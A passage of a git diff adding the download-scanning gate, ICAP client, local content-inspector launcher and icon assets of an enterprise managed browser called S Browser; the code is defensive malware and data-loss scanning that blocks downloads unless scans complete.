context=getContext(webContentsId);let bytes,facts; + const auditFacts=()=>facts?{bytes:facts.size,detectedType:facts.detectedType,sha256:facts.sha256}:{}; + const deny=async reason=>{await audit('download.block',reason,new URL(url).hostname,auditFacts());status?.(`Download blocked: ${reason}`);return {released:false,reason};}; + if(busy)return deny('download-busy'); + if(!context||context.webContentsId!==webContentsId)return deny('unmanaged-download'); + if(!context.ready||!context.policy?.browser.allowDownloads)return deny('downloads-disabled'); + const yara=context.policy.security?.yara,icap=context.policy.enterprise?.icap; + const hasYara=!!yara?.enabled&&!!yara.rules.length,hasIcap=!!icap?.enabled&&icap.scanDownloads!==false; + if(yara?.enabled&&!hasYara)return deny('yara-required'); + if(!hasYara&&!hasIcap&&!context.policy.fileTransfers?.download?.allowWithoutMalwareScanner)return deny('malware-scanner-required'); + if(method!=='GET'||!/^https?:\/\//.test(url))return deny('unsupported-download'); + if(!isCurrent(context))return deny('policy-changed'); + busy=true;const controller=new AbortController(),timeout=setTimeout(()=>controller.abort(),45000); + try{ + const response=await fetchResponse(url,{signal:controller.signal,cache:'no-store',credentials:'include',redirect:'error'}); + if(!response.ok||!response.body)return deny('download-fetch-failed'); + const limit=Math.min(hasYara?yara.maxScanBytes:20*1024*1024,hasIcap?icap.maxBytes:20*1024*1024,context.policy.fileTransfers?.download?.maxBytes??20*1024*1024); + const length=response.headers.get('content-length');if(length&&Number(length)>limit)return deny('download-size-limit'); + const reader=response.body.getReader(),chunks=[];let size=0; + try{for(;;){const {value,done}=await reader.read();if(done)break;size+=value.length;if(size>limit){await reader.cancel();return deny('download-size-limit');}chunks.push(Buffer.from(value));}} + finally{reader.releaseLock();} + bytes=Buffer.concat(chunks);const digest=createHash('sha256').update(bytes).digest('hex'); + if(!isCurrent(context)||controller.signal.aborted)return deny('policy-changed'); + facts=inspectFileTransfer(bytes,context.policy,'download',{filename:name,mime:response.headers.get('content-type')});if(facts.decision!=='allow')return deny(facts.ruleId); + const result=await scan(bytes,context.policy); + if(result.decision!=='allow'||result.coverage?.complete!==true||result.sha256!==digest)return deny(result.ruleId||'yara-scan-incomplete'); + if(!isCurrent(context)||controller.signal.aborted)return deny('policy-changed'); + const scanLabel=hasYara&&hasIcap?'yara-icap-allow':hasYara?'yara-allow':hasIcap?'icap-allow':'explicit-no-antivirus'; + await audit('download.scan',scanLabel,new URL(url).hostname,auditFacts()); + const selected=await choosePath(filename(name));if(!selected)return {released:false,reason:'user-cancelled'}; + if(!isCurrent(context)||controller.signal.aborted)return deny('policy-changed'); + // The only file-writing operation occurs after verified scanning of these exact bytes. + await writeFile(selected,bytes,()=>isCurrent(context)&&!controller.signal.aborted); + await audit('download.released',scanLabel,new URL(url).hostname,auditFacts());status?.('Download scanned and saved.');return {released:true,sha256:digest,facts}; + }catch{return deny('download-inspection-failed');} + finally{clearTimeout(timeout);bytes?.fill(0);busy=false;} + }; +} +module.exports={createDownloadGate,filename}; diff --git a/apps/browser/dpapi.cjs b/apps/browser/dpapi.cjs new file mode 100644 index 0000000..c5b2a53 --- /dev/null +++ b/apps/browser/dpapi.cjs @@ -0,0 +1,20 @@ +const {app}=require('electron'); +const {spawn}=require('node:child_process'); +const path=require('node:path'); +function capabilityCrypto(operation,input){ + const root=path.join(__dirname,'../..'); + const python=app.isPackaged?path.join(process.resourcesPath,'python/python.exe'):path.join(root,'.runtime/windows/python/python.exe'); + const script=app.isPackaged?path.join(process.resourcesPath,'inspector/dpapi.py'):path.join(root,'apps/inspector/dpapi.py'); + if(!['protect','unprotect'].includes(operation)||Buffer.byteLength(input)>32768)return Promise.reject(Error('Capability rejected')); + return new Promise((resolve,reject)=>{ + const environment={...process.env};for(const key of ['ADMIN_TOKEN','OIDC_CLIENT_SECRET','AI_API_KEY','INSPECTOR_TOKEN','SIEM_HTTP_TOKEN','SAFETYNET_PROXY_PASSWORD'])delete environment[key]; + const child=spawn(python,[script,operation],{windowsHide:true,stdio:['pipe','pipe','pipe'],env:environment});let output='',settled=false; + const timer=setTimeout(()=>{child.kill();fail();},5000); + function fail(){if(!settled){settled=true;clearTimeout(timer);reject(Error('Windows capability protection failed'));}} + child.on('error',fail);child.stdin.on('error',fail);child.stderr.on('data',()=>{}); + child.stdout.on('data',data=>{output+=data;if(output.length>65536){child.kill();fail();}}); + child.on('close',code=>{if(code!==0||!output)return fail();if(!settled){settled=true;clearTimeout(timer);resolve(output);}}); + child.stdin.end(input); + }); +} +module.exports={capabilityCrypto}; diff --git a/apps/browser/enterprise-inspection.cjs b/apps/browser/enterprise-inspection.cjs new file mode 100644 index 0000000..4fea2fa --- /dev/null +++ b/apps/browser/enterprise-inspection.cjs @@ -0,0 +1,47 @@ +'use strict'; +const fs=require('node:fs'); +const {createHash}=require('node:crypto'); +const {detectType,inspectFileTransfer}=require('../../packages/core/file-transfer.cjs'); +const CHANNELS={upload:'scanUploads',download:'scanDownloads',clipboard:'scanClipboard',ai:'scanAI'}; +function icapRequired(policy,channel){if(!Object.hasOwn(CHANNELS,channel))throw Error('Unsupported enterprise inspection channel');const settings=policy.enterprise?.icap;return !!settings?.enabled&&settings[CHANNELS[channel]]!==false;} +function deploymentTLS(){ + const options={};for(const [key,name] of [['ca','SAFETYNET_ICAP_CA_FILE'],['cert','SAFETYNET_ICAP_CERT_FILE'],['key','SAFETYNET_ICAP_KEY_FILE']]){if(process.env[name]){const stat=fs.statSync(process.env[name]);if(!stat.isFile()||stat.size>131072)throw Error('Enterprise scanner certificate configuration unavailable');options[key]=fs.readFileSync(process.env[name]);}} + if(!!options.cert!==!!options.key)throw Error('Enterprise scanner client identity incomplete');return options; +} +async function scanEnterprise(bytes,policy,channel,scanner){ + const digest=createHash('sha256').update(bytes).digest('hex'); + const base={engine:'icap',sha256:digest,bytes:bytes.length,coverage:{complete:false},decision:'block',ruleId:'icap-unavailable'}; + if(!icapRequired(policy,channel))return {...base,engine:'not-required',decision:'allow',ruleId:null,coverage:{complete:true}}; + const snapshot=Buffer.from(bytes); + try{ + const result=await (scanner||require('./icap-client.cjs').scanIcap)(snapshot,policy.enterprise.icap,deploymentTLS()); + if(result.decision==='allow'&&result.coverage?.complete===true&&result.sha256===digest&&result.bytes===snapshot.length&&createHash('sha256').update(snapshot).digest('hex')===digest)return {...base,...result}; + return {...base,ruleId:typeof result.ruleId==='string'&&/^icap-[a-z0-9-]{1,80}$/.test(result.ruleId)?result.ruleId:'icap-inspection-incomplete'}; + }catch{return base;} + finally{snapshot.fill(0);} +} +async function scanDownloadEnterprise(bytes,policy,localInspector,scanner){ + const digest=createHash('sha256').update(bytes).digest('hex'); + const blocked=ruleId=>({decision:'block',ruleId,engine:'enterprise',sha256:digest,bytes:bytes.length,coverage:{complete:false}}); + const fileVerdict=inspectFileTransfer(bytes,policy,'download');if(fileVerdict.decision!=='allow')return blocked(fileVerdict.ruleId); + const noAv=!policy.security?.yara.enabled&&!icapRequired(policy,'download'); + if(noAv&&!policy.fileTransfers?.download?.allowWithoutMalwareScanner)return blocked('malware-scanner-required'); + // Antivirus clean does not classify company secrets. Supported documents always + // require the contained DLP parser; explicit no-antivirus mode still requires DLP. + if(noAv||policy.dlp?.semantic?.enabled||['pdf','zip','png','jpeg','gif','webp','text'].includes(detectType(bytes))){ + if(!localInspector?.inspect)return blocked('download-dlp-unavailable'); + let dlp;try{dlp=await localInspector.inspect(bytes,policy);}catch{return blocked('download-dlp-unavailable');} + if(dlp.decision!=='allow')return blocked(typeof dlp.ruleId==='string'?dlp.ruleId:'download-dlp-blocked'); + if(dlp.coverage?.complete!==true)return blocked('download-dlp-incomplete'); + } + if(noAv)return {decision:'allow',ruleId:null,engine:'explicit-no-antivirus',sha256:digest,bytes:bytes.length,coverage:{complete:true}}; + if(policy.security?.yara.enabled){ + if(!localInspector)return blocked('yara-unavailable'); + let local;try{local=await localInspector.scanDownload(bytes,policy);}catch{return blocked('yara-unavailable');} + if(local.decision!=='allow')return local; + if(local.coverage?.complete!==true||local.sha256!==digest||local.bytes!==bytes.length)return blocked('yara-inspection-incomplete'); + if(!icapRequired(policy,'download'))return local; + } + return scanEnterprise(bytes,policy,'download',scanner); +} +module.exports={icapRequired,scanEnterprise,scanDownloadEnterprise,deploymentTLS}; diff --git a/apps/browser/icap-client.cjs b/apps/browser/icap-client.cjs new file mode 100644 index 0000000..d5a26e1 --- /dev/null +++ b/apps/browser/icap-client.cjs @@ -0,0 +1,97 @@ +'use strict'; +// RFC 3507, full-message ICAP only. Adapted objects are never released as originals. +// TLS follows the endpoint trust chain and hostname; deployment credentials stay local. +const net = require('node:net'); +const tls = require('node:tls'); +const crypto = require('node:crypto'); +const HEADER_LIMIT = 32768, ABSOLUTE_LIMIT = 32 * 1024 * 1024; +function configuration(config) { + const url = new URL(config.url); + if (!['icap:', 'icaps:'].includes(url.protocol) || url.username || url.password || url.search || url.hash || /[\r\n]/.test(config.url)) throw Error('configuration'); + const host = url.hostname.replace(/^\[|\]$/g, ''); + const loopback = host === 'localhost' || host === '::1' || (net.isIP(host) === 4 && host.split('.')[0] === '127'); + if (url.protocol === 'icap:' && !loopback && config.allowInsecureTransport !== true) throw Error('configuration'); + if (!['RESPMOD', 'REQMOD'].includes(config.method || 'RESPMOD')) throw Error('configuration'); + const maxBytes = config.maxBytes ?? ABSOLUTE_LIMIT, timeoutMs = config.timeoutMs ?? 10000; + if (!Number.isInteger(maxBytes) || maxBytes < 1 || maxBytes > ABSOLUTE_LIMIT || !Number.isInteger(timeoutMs) || timeoutMs < 50 || timeoutMs > 120000) throw Error('configuration'); + const port = Number(url.port || (url.protocol === 'icaps:' ? 11344 : 1344)); + if (!Number.isInteger(port) || port < 1 || port > 65535) throw Error('configuration'); + return {url, host, connectHost:host === 'localhost' ? '127.0.0.1' : host, port, method: config.method || 'RESPMOD', maxBytes, timeoutMs, allow204: config.allow204 === true}; +} +function headers(bytes) { + const lines = bytes.toString('latin1').split('\r\n'); + const match = /^ICAP\/1\.0 ([0-9]{3})(?: [\x20-\x7e]*)?$/.exec(lines.shift()); + if (!match) throw Error('protocol'); + const values = Object.create(null); + for (const line of lines) { + const header = /^([!#$%&'*+.^_`|~0-9A-Za-z-]+):[ \t]*([\x20-\x7e\t]*)$/.exec(line); + if (!header) throw Error('protocol'); + const name = header[1].toLowerCase(); + if (Object.hasOwn(values, name)) throw Error('protocol'); + values[name] = header[2].trim(); + } + return {status: Number(match[1]), values}; +} +function exchange(c, request, deadline, credentials = {}) { + return new Promise((resolve, reject) => { + let socket, buffered = Buffer.alloc(0), finished = false, sent = false; + const finish = (error, response) => { if (finished) return; finished = true; clearTimeout(timer); socket?.destroy(); error ? reject(Error('ICAP unavailable')) : resolve(response); }; + const timer = setTimeout(() => finish(true), Math.max(1, deadline - Date.now())); + const connect = () => socket.write(request, error => { if (error) finish(true); else sent = true; }); + try { + socket = c.url.protocol === 'icaps:' ? tls.connect({host:c.connectHost, port:c.port, servername:net.isIP(c.host) ? undefined : c.host, rejectUnauthorized:true, minVersion:'TLSv1.2', ca:credentials.ca, cert:credentials.cert, key:credentials.key}, connect) : net.connect({host:c.connectHost,port:c.port}, connect); + socket.on('error', () => finish(true)); + socket.on('end', () => finish(true)); + socket.on('data', chunk => { + try { + if (buffered.length + chunk.length > HEADER_LIMIT) throw Error('protocol'); + buffered = Buffer.concat([buffered,chunk]); + const boundary = buffered.indexOf('\r\n\r\n'); + if (boundary < 0) return; + const response = headers(buffered.subarray(0,boundary)); + // No preview is sent: a premature verdict cannot attest complete inspection. + if (!sent || response.status === 100) throw Error('protocol'); + const bodyBytes = buffered.length - boundary - 4; + // Adaptations are blocked immediately; do not consume arbitrary vendor bodies. + if (response.status === 204 && bodyBytes !== 0) throw Error('protocol'); + finish(false,response); + } catch { finish(true); } + }); + } catch { finish(true); } + }); +} +function request(c, method, encapsulation, body = Buffer.alloc(0)) { + const allow = method !== 'OPTIONS' && c.allow204 ? 'Allow: 204\r\n' : ''; + return Buffer.concat([Buffer.from(`${method} ${c.url.href} ICAP/1.0\r\nHost: ${c.url.host}\r\nUser-Agent: S-Browser/1\r\nConnection: close\r\n${allow}Encapsulated: ${encapsulation}\r\n\r\n`,'ascii'),body]); +} +async function negotiate(c, deadline, options) { + const response = await exchange(c,request(c,'OPTIONS','null-body=0'),deadline,options); + if (response.status !== 200 || response.values.encapsulated !== 'null-body=0' || !response.values.istag || !response.values.methods?.split(/\s*,\s*/).includes(c.method)) throw Error('unsupported'); + return response.values.allow?.split(/\s*,\s*/).includes('204') === true; +} +async function probeIcap(config, options = {}) { + try { const c = configuration(config); const allow204 = await negotiate(c,Date.now()+c.timeoutMs,options); return {ready:!c.allow204 || allow204,engine:'icap',method:c.method,tls:c.url.protocol === 'icaps:',allow204}; } + catch { return {ready:false,engine:'icap'}; } +} +async function scanIcap(input, config, options = {}) { + // Snapshot before any await: the approval is bound to exactly these bytes. + const bytes = Buffer.from(input); + const result = (decision,ruleId,complete) => ({decision,ruleId,engine:'icap',sha256:crypto.createHash('sha256').update(bytes).digest('hex'),bytes:bytes.length,coverage:{complete}}); + try { + const c = configuration(config); + if (bytes.length > c.maxBytes) return result('block','icap-oversize',false); + const deadline = Date.now()+c.timeoutMs; + const negotiated = await negotiate(c,deadline,options); + if (c.allow204 && !negotiated) return result('block','icap-capability',false); + // Synthetic metadata avoids sending usernames, private URLs or filenames. + const http = Buffer.from(c.method === 'RESPMOD' ? `HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nContent-Length: ${bytes.length}\r\n\r\n` : `POST /scan/object HTTP/1.1\r\nHost: inspection.invalid\r\nContent-Type: application/octet-stream\r\nContent-Length: ${bytes.length}\r\n\r\n`,'ascii'); + const chunk = bytes.length ? Buffer.concat([Buffer.from(bytes.length.toString(16)+'\r\n'),bytes,Buffer.from('\r\n0\r\n\r\n')]) : Buffer.from('0\r\n\r\n'); + const prefix = c.method === 'RESPMOD' ? 'res' : 'req'; + const response = await exchange(c,request(c,c.method,`${prefix}-hdr=0, ${prefix}-body=${http.length}`,Buffer.concat([http,chunk])),deadline,options); + const flagged = Object.keys(response.values).some(name => ['x-infection-found','x-virus-id','x-violations-found','x-block-reason'].includes(name)); + if (flagged) return result('block','icap-threat',false); + if (response.status === 204 && c.allow204 && negotiated && response.values.istag && (!response.values.encapsulated || response.values.encapsulated === 'null-body=0')) return result('allow','icap-clean',true); + return result('block',response.status === 200 ? 'icap-adaptation' : 'icap-verdict',false); + } catch { return result('block','icap-unavailable',false); } +} +module.exports = {scanIcap,probeIcap}; diff --git a/apps/browser/icons/LICENSE b/apps/browser/icons/LICENSE new file mode 100644 index 0000000..718bb3f --- /dev/null +++ b/apps/browser/icons/LICENSE @@ -0,0 +1,43 @@ +ISC License + +Copyright (c) 2026 Lucide Icons and Contributors + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted, provided that the above +copyright notice and this permission notice appear in all copies. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + +--- + +The following Lucide icons are derived from the Feather project: + +airplay, alert-circle, alert-octagon, alert-triangle, aperture, arrow-down-circle, arrow-down-left, arrow-down-right, arrow-down, arrow-left-circle, arrow-left, arrow-right-circle, arrow-right, arrow-up-circle, arrow-up-left, arrow-up-right, arrow-up, at-sign, calendar, cast, check, chevron-down, chevron-left, chevron-right, chevron-up, chevrons-down, chevrons-left, chevrons-right, chevrons-up, circle, clipboard, clock, code, columns, command, compass, corner-down-left, corner-down-right, corner-left-down, corner-left-up, corner-right-down, corner-right-up, corner-up-left, corner-up-right, crosshair, database, divide-circle, divide-square, dollar-sign, download, external-link, feather, frown, hash, headphones, help-circle, info, italic, key, layout, life-buoy, link-2, link, loader, lock, log-in, log-out, maximize, meh, minimize, minimize-2, minus-circle, minus-square, minus, monitor, moon, more-horizontal, more-vertical, move, music, navigation-2, navigation, octagon, pause-circle, percent, plus-circle, plus-square, plus, power, radio, rss, search, server, share, shopping-bag, sidebar, smartphone, smile, square, table-2, tablet, target, terminal, trash-2, trash, triangle, tv, type, upload, x-circle, x-octagon, x-square, x, zoom-in, zoom-out + +The MIT License (MIT) (for the icons listed above) + +Copyright (c) 2013-present Cole Bemis + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/apps/browser/icons/arrow-up.svg b/apps/browser/icons/arrow-up.svg new file mode 100644 index 0000000..f5f026a --- /dev/null +++ b/apps/browser/icons/arrow-up.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/book-open.svg b/apps/browser/icons/book-open.svg new file mode 100644 index 0000000..9aabd56 --- /dev/null +++ b/apps/browser/icons/book-open.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/bookmark-plus.svg b/apps/browser/icons/bookmark-plus.svg new file mode 100644 index 0000000..92881bf --- /dev/null +++ b/apps/browser/icons/bookmark-plus.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/bookmark.svg b/apps/browser/icons/bookmark.svg new file mode 100644 index 0000000..49b11d2 --- /dev/null +++ b/apps/browser/icons/bookmark.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/bot.svg b/apps/browser/icons/bot.svg new file mode 100644 index 0000000..16e9909 --- /dev/null +++ b/apps/browser/icons/bot.svg @@ -0,0 +1,20 @@ + + + + + + + + + diff --git a/apps/browser/icons/chevron-left.svg b/apps/browser/icons/chevron-left.svg new file mode 100644 index 0000000..29e8688 --- /dev/null +++ b/apps/browser/icons/chevron-left.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/chevron-right.svg b/apps/browser/icons/chevron-right.svg new file mode 100644 index 0000000..14c1742 --- /dev/null +++ b/apps/browser/icons/chevron-right.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/ellipsis.svg b/apps/browser/icons/ellipsis.svg new file mode 100644 index 0000000..9137a5d --- /dev/null +++ b/apps/browser/icons/ellipsis.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/folder.svg b/apps/browser/icons/folder.svg new file mode 100644 index 0000000..077f257 --- /dev/null +++ b/apps/browser/icons/folder.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/globe.svg b/apps/browser/icons/globe.svg new file mode 100644 index 0000000..8bf9b3b --- /dev/null +++ b/apps/browser/icons/globe.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/grid-2x2.svg b/apps/browser/icons/grid-2x2.svg new file mode 100644 index 0000000..f7078e2 --- /dev/null +++ b/apps/browser/icons/grid-2x2.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/key-round.svg b/apps/browser/icons/key-round.svg new file mode 100644 index 0000000..7ae62a7 --- /dev/null +++ b/apps/browser/icons/key-round.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/lock-keyhole.svg b/apps/browser/icons/lock-keyhole.svg new file mode 100644 index 0000000..6d9e33e --- /dev/null +++ b/apps/browser/icons/lock-keyhole.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/maximize-2.svg b/apps/browser/icons/maximize-2.svg new file mode 100644 index 0000000..992fd59 --- /dev/null +++ b/apps/browser/icons/maximize-2.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/apps/browser/icons/minus.svg b/apps/browser/icons/minus.svg new file mode 100644 index 0000000..677c2c2 --- /dev/null +++ b/apps/browser/icons/minus.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/panel-left.svg b/apps/browser/icons/panel-left.svg new file mode 100644 index 0000000..49fc92d --- /dev/null +++ b/apps/browser/icons/panel-left.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/panel-right.svg b/apps/browser/icons/panel-right.svg new file mode 100644 index 0000000..424232c --- /dev/null +++ b/apps/browser/icons/panel-right.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/plus.svg b/apps/browser/icons/plus.svg new file mode 100644 index 0000000..7409e33 --- /dev/null +++ b/apps/browser/icons/plus.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/rotate-cw.svg b/apps/browser/icons/rotate-cw.svg new file mode 100644 index 0000000..ef5ee7b --- /dev/null +++ b/apps/browser/icons/rotate-cw.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/scan-text.svg b/apps/browser/icons/scan-text.svg new file mode 100644 index 0000000..b4ce1c1 --- /dev/null +++ b/apps/browser/icons/scan-text.svg @@ -0,0 +1,21 @@ + + + + + + + + + + diff --git a/apps/browser/icons/search.svg b/apps/browser/icons/search.svg new file mode 100644 index 0000000..269ec84 --- /dev/null +++ b/apps/browser/icons/search.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/share.svg b/apps/browser/icons/share.svg new file mode 100644 index 0000000..d361db8 --- /dev/null +++ b/apps/browser/icons/share.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/apps/browser/icons/shield-check.svg b/apps/browser/icons/shield-check.svg new file mode 100644 index 0000000..d0aeb44 --- /dev/null +++ b/apps/browser/icons/shield-check.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/icons/sparkles.svg b/apps/browser/icons/sparkles.svg new file mode 100644 index 0000000..2fbc0f2 --- /dev/null +++ b/apps/browser/icons/sparkles.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/apps/browser/icons/squares-unite.svg b/apps/browser/icons/squares-unite.svg new file mode 100644 index 0000000..ffd90fe --- /dev/null +++ b/apps/browser/icons/squares-unite.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/star.svg b/apps/browser/icons/star.svg new file mode 100644 index 0000000..96bb9ca --- /dev/null +++ b/apps/browser/icons/star.svg @@ -0,0 +1,15 @@ + + + + diff --git a/apps/browser/icons/x.svg b/apps/browser/icons/x.svg new file mode 100644 index 0000000..c80fe02 --- /dev/null +++ b/apps/browser/icons/x.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/apps/browser/index.html b/apps/browser/index.html new file mode 100644 index 0000000..28f6d6c --- /dev/null +++ b/apps/browser/index.html @@ -0,0 +1,481 @@ + + + + + + + + S Browser + + + + + + +
+
+
+
+ + + +
+ + + +
+
+ + + + +
+
+ + + + + + + + +
+
+
+
+ +
+
+ + + Enrollment required + +
+
+
+ + + + + + +
+
+

+ S BROWSER +

+

+ Your space to explore. +

+
+
+

+ Favorites +

+ + Keep what matters close. + +
+
+
+ +
+
+
+

+ Recently visited +

+
+
+
+
+
+
+ +
+
+ + A protected workspace. + +

+ Your organization's rules follow you as you browse. +

+
+
+

+ Each tab keeps its own managed browsing context. +

+
+
+ + + + + +
+
+
+ +
+

+ YOUR MANAGED WORKSPACE +

+

+ A safer place to work. +

+

+ Connect to your organization for secure browsing and approved AI. +

+
+ + +
+ + +
+ + Your organization's management server supplies the security policy for this browser. + +
+

+

+
+
+ + + + + + + +
+

Add bookmark

+

Bookmarks are managed by your company. Administrators may access them when enabled by policy.

+ + + + +
+
+
+ + + + + diff --git a/apps/browser/inspection.cjs b/apps/browser/inspection.cjs new file mode 100644 index 0000000..486f667 --- /dev/null +++ b/apps/browser/inspection.cjs @@ -0,0 +1,55 @@ +const {spawn}=require('node:child_process'); +const fs=require('node:fs'),path=require('node:path'),crypto=require('node:crypto'); +function privateInspectorPaths(root,packaged=false,environment=process.env){ + const python=path.resolve(root,packaged?'python/python.exe':'.runtime/windows/python/python.exe'); + const script=path.resolve(root,packaged?'inspector/server.py':'apps/inspector/server.py'); + try{ + for(const [file,override]of [[python,environment.SAFETYNET_PYTHON],[script,environment.SAFETYNET_INSPECTOR_SCRIPT]]){ + if(override&&path.resolve(override).toLowerCase()!==file.toLowerCase())return null; + if(!fs.statSync(file).isFile())return null; + // Do not resolve away a junction before checking ownership boundaries. + for(let item=file;;item=path.dirname(item)){ + if(fs.lstatSync(item).isSymbolicLink())return null; + if(path.dirname(item)===item)break; + } + } + return {python,script}; + }catch{return null;} +} +function startInspector(root,packaged=false){ + const files=privateInspectorPaths(root,packaged);if(!files)return null; + const {python,script}=files; + const credential=crypto.randomBytes(32).toString('base64url'); + const semanticRuntime=path.join(root,packaged?'semantic':'.runtime/windows/semantic'); + // Native model loading remains wholly local; the Python adapter verifies pinned artifacts. + // Explicit deployment paths take precedence, and missing artifacts fail semantic inspection closed. + const environment={...process.env,INSPECTOR_TOKEN:credential,INSPECTOR_PORT:'0',INSPECTOR_PARENT_PID:String(process.pid)}; + if(!environment.EMBEDDING_MODEL_DIR)environment.EMBEDDING_MODEL_DIR=path.join(semanticRuntime,'models'); + if(!environment.EMBEDDING_WORKER_PATH)environment.EMBEDDING_WORKER_PATH=path.join(semanticRuntime,'searchi-gemma-worker.exe'); + for(const key of ['ADMIN_TOKEN','OIDC_CLIENT_SECRET','AI_API_KEY','SIEM_HTTP_TOKEN','SIEM_KEY_FILE','SAFETYNET_PROXY_PASSWORD'])delete environment[key]; + const child=spawn(python,[script],{windowsHide:true,stdio:['ignore','pipe','pipe'],env:environment}); + let port,output='';const startup=new Promise((resolve,reject)=>{ + const timer=setTimeout(()=>{child.kill();reject(Error('Local inspector startup timed out'));},30000); + child.on('error',()=>{clearTimeout(timer);reject(Error('Local inspector failed to start'));}); + child.once('exit',()=>{clearTimeout(timer);reject(Error('Local inspector stopped'));}); + child.stdout.on('data',chunk=>{output+=chunk.toString();if(output.length>4096){child.kill();return;} + if(output.includes('\n')){try{const value=JSON.parse(output.split('\n')[0]);if(!Number.isInteger(value.port)||value.port<1||value.port>65535)throw Error();if(process.platform==='win32'&&(value.containment?.active!==true||value.containment?.kind!=='windows-job-v1'||value.containment?.killsDescendants!==true||value.containment?.parserIsolation?.active!==true||value.containment?.parserIsolation?.kind!=='windows-appcontainer-v1'||value.containment?.parserIsolation?.networkCapabilities!==0||value.containment?.parserIsolation?.privatePipes!==true||value.containment?.parserIsolation?.readOnlyRuntime!==true))throw Error();port=value.port;clearTimeout(timer);resolve();}catch{child.kill();reject(Error('Local inspector startup rejected'));}}}); + child.stderr.on('data',()=>{}); + });startup.catch(()=>{}); + const waitReady=async()=>{await startup;if(child.exitCode!==null||child.signalCode!==null)throw Error('Local content inspector stopped; restart the browser');}; + const invoke=async(route,bytes,policy)=>{ + await waitReady(); + const controller=new AbortController(),timer=setTimeout(()=>controller.abort(),30000); + try{ + const response=await require('./loopback-http.cjs').postLoopback({port,route,token:credential,body:{data:Buffer.from(bytes).toString('base64'),policy},signal:controller.signal}); + if(response.status!==200)throw Error('Local content inspection failed');const result=response.body; + if(!['allow','block'].includes(result.decision)||typeof result.coverage?.complete!=='boolean')throw Error('Inspector response rejected'); + if(result.decision==='allow'&&!result.coverage.complete)throw Error('Incomplete content cannot be released');return result; + }catch(error){if(error.name==='AbortError'){child.kill();throw Error('Content inspection exceeded its time budget');}throw error;} + finally{clearTimeout(timer);} + }; + return {stop:()=>child.kill(),waitReady,inspect:(bytes,policy)=>invoke('/inspect',bytes,policy),scanDownload:(bytes,policy)=>invoke('/scan-download',bytes,policy)}; +} +module.exports={startInspector,privateInspectorPaths}; + + diff --git a/apps/browser/loopback-http.cjs b/apps/browser/loopback-http.cjs new file mode 100644 index 0000000..eebf5c0 --- /dev/null +++ b/apps/browser/loopback-http.cjs @@ -0,0 +1,17 @@ +const http=require('node:http'); +function postLoopback({port,route,token,body,signal,maxResponseBytes=2*1024*1024}){ + if(!Number.isInteger(Number(port))||Number(port)<1||Number(port)>65535||!/^\/[a-z0-9/-]+$/i.test(route)||typeof token!=='string')return Promise.reject(Error('Local endpoint rejected')); + const payload=Buffer.from(JSON.stringify(body)); + return new Promise((resolve,reject)=>{ + // Direct TCP avoids environment/global proxy routing of private content. + const request=http.request({hostname:'127.0.0.1',port:Number(port),path:route,method:'POST',agent:false,signal, + headers:{authorization:`Bearer ${token}`,'content-type':'application/json','content-length':payload.length}},response=>{ + if(response.statusCode>=300&&response.statusCode<400){response.resume();reject(Error('Local redirects rejected'));return;} + let size=0;const chunks=[];response.on('error',reject); + response.on('data',chunk=>{size+=chunk.length;if(size>maxResponseBytes){response.destroy();request.destroy();reject(Error('Local response budget exceeded'));}else chunks.push(chunk);}); + 